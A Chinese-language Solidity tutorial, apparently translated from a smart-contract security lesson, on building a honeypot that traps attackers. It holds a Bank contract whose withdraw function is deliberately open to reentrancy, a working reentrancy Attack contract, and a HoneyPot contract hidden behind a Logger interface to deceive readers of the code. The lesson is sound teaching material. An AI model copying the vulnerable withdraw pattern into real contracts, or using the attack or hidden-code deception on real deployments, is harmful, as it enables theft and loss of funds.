3分钟Solidity: 11.10 蜜罐

欢迎订阅专栏3分钟Solidity--智能合约--Web3区块链技术必学

如需获取本内容的最新版本,请参见 Cyfrin.io 上的Honeypot(代码示例)

蜜罐是一种用于诱捕黑客的陷阱。

漏洞

通过结合重入攻击和隐藏恶意代码这两种漏洞利用方式,我们可以构建一个能捕获恶意用户的合约。

scss 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
银行是一个调用Logger来记录事件的合约。
Bank.withdraw()函数容易受到重入攻击。
因此,黑客试图从银行中耗尽以太币。
但实际上,这个重入漏洞是给黑客设下的诱饵。
通过部署用HoneyPot替代Logger的Bank合约,这个合约就变成了
黑客的陷阱。让我们看看它是如何运作的。

1.  爱丽丝部署了蜜罐
2.  爱丽丝部署了银行合约,地址指向蜜罐
3.  爱丽丝向银行存入1个以太币
4.  伊芙发现银行合约的withdraw函数存在重入漏洞,决定发起攻击
5.  伊芙部署攻击合约,地址指向银行
6.  伊芙调用Attack.attack()并转入1个以太币,但交易失败

发生了什么?
伊芙调用Attack.attack()后,开始从银行合约提取以太币
当最后一次Bank.withdraw()即将完成时,它调用了logger.log()
Logger.log()调用了HoneyPot.log()并回滚了交易,导致交易失败
*/

contract Bank {
    mapping(address => uint256) public balances;
    Logger logger;

    constructor(Logger _logger) {
        logger = Logger(_logger);
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        logger.log(msg.sender, msg.value, "Deposit");
    }

    function withdraw(uint256 _amount) public {
        require(_amount <= balances[msg.sender], "Insufficient funds");

        (bool sent,) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] -= _amount;

        logger.log(msg.sender, _amount, "Withdraw");
    }
}

contract Logger {
    event Log(address caller, uint256 amount, string action);

    function log(address _caller, uint256 _amount, string memory _action)
        public
    {
        emit Log(_caller, _amount, _action);
    }
}

// 黑客试图通过重入攻击耗尽银行中存储的以太币。
contract Attack {
    Bank bank;

    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
    }

    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

// 假设这段代码放在一个单独的文件中,这样其他人就无法读取它了。
contract HoneyPot {
    function log(address _caller, uint256 _amount, string memory _action)
        public
    {
        if (equal(_action, "Withdraw")) {
            revert("It's a trap");
        }
    }

    // 使用keccak256比较字符串的函数
    function equal(string memory _a, string memory _b)
        public
        pure
        returns (bool)
    {
        return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
    }
}

Try on Remix试用混音版

相关推荐
磐链科技15 小时前
DApp 前端开发指南:钱包连接与链上数据交互实践
区块链·智能合约
木西2 天前
把 NEAR 的 “链抽象与 AI 智能体” 搬进以太坊:用 Solidity 0.8.28 打造元交易意图结算核心底座
智能合约·solidity·以太坊
磐链科技2 天前
区块链开发公司发展趋势分析:智能合约、DApp与行业数字化应用探索
区块链·智能合约
木西4 天前
链上再保险怎么落地?Re Protocol RWA 分层合约架构深度拆解
web3·智能合约·solidity
磐链科技5 天前
Web3 钱包安全与体验优化:MPC、TEE、交易模拟与 DApp 连接设计
区块链·智能合约
磐链科技6 天前
区块链DApp开发部署篇:多链上线、Gas优化与运营监控
区块链·智能合约
Web3李李6 天前
Meme 币绑定美股:Robinhood Chain 掀起链上传统市场新实验
web3·区块链·软件开发·dapp·robinhood chain·meme 币
磐链科技6 天前
区块链DApp开发实战:Solidity智能合约设计与测试
区块链·智能合约
Web3李李6 天前
读懂跨链安全:如何判断跨链消息风险,规避协议攻击陷阱
web3·区块链·系统安全·软件开发·web3开发·跨链安全·协议攻击
木西7 天前
CME 大宗商品链上实验:基于 Uniswap v4 Hook 的合约架构深度解析
web3·智能合约·solidity